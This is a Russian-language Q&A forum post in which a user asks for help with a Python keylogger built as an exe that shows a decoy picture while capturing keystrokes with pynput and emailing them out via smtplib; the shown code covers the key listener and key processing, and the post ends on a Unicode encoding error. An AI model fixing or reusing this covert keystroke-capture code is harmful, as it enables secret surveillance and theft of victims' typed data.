исключение smtplib при обработке нажатий клавиш с помощью pynput - PullRequest
0 голосов
/ 05 января 2019

TL; DR: обнаружил ошибку, но не решил ее:
Набор текста на английском языке (слева), отображается на иврите (справа)

Я создал простой кейлоггер в python 2.7 на моей машине с Ubuntu (VMware). Созданный exe-файл должен показать картинку и выполнить кейлоггер на заднем плане. Он работает на главном компьютере (хост VMware, без установленного Python ), но не на другом моем компьютере ( без Python, также ). Он показывает картинку, но не может отправить письмо, используя smtplib

для обработки нажатий клавиш я использовал pynput следующим образом:

keylistener = pynput.keyboard.Listener(on_press=proccess_keystrokes)
with keylistener:
sendGlobalVarLog()
keylistener.join()

и proccess_keystrokes:

def process_key_press(self, key):
try:
    current_key = key.char
except AttributeError:
    current_key = '{0}'.format(key)
    if current_key == 'Key.space':
        current_key = " "
    else:
        if current_key == 'Key.enter':
            current_key = "\n"
        else:
            current_key = " " + current_key + " "
except UnicodeEncodeError:
    current_key = " bla "
self.append_to_log(current_key)

теперь он не отправляет ничего на моем компьютере с Windows, кроме первого уведомления о запуске кейлоггера.

Я тоже пытался запустить из pycharm, и через несколько секунд работы я получил следующее исключение:

Файл "C: \ Users \ PC \ AppData \ Local \ Programs \ Python \ Python37-32 \ lib \ smtplib.py", строка 855, в sendmail msg = _fix_eols (msg) .encode ('ascii') UnicodeEncodeError: кодек «ascii» не может кодировать символы в позиции 6-11: порядковый номер не в диапазоне (128)

Кто-нибудь знает, что я делаю не так? как правильно разобрать нажатия клавиш? Я попробовал несколько руководств, но не смог найти решение.

Буду признателен за любую помощь, спасибо.

...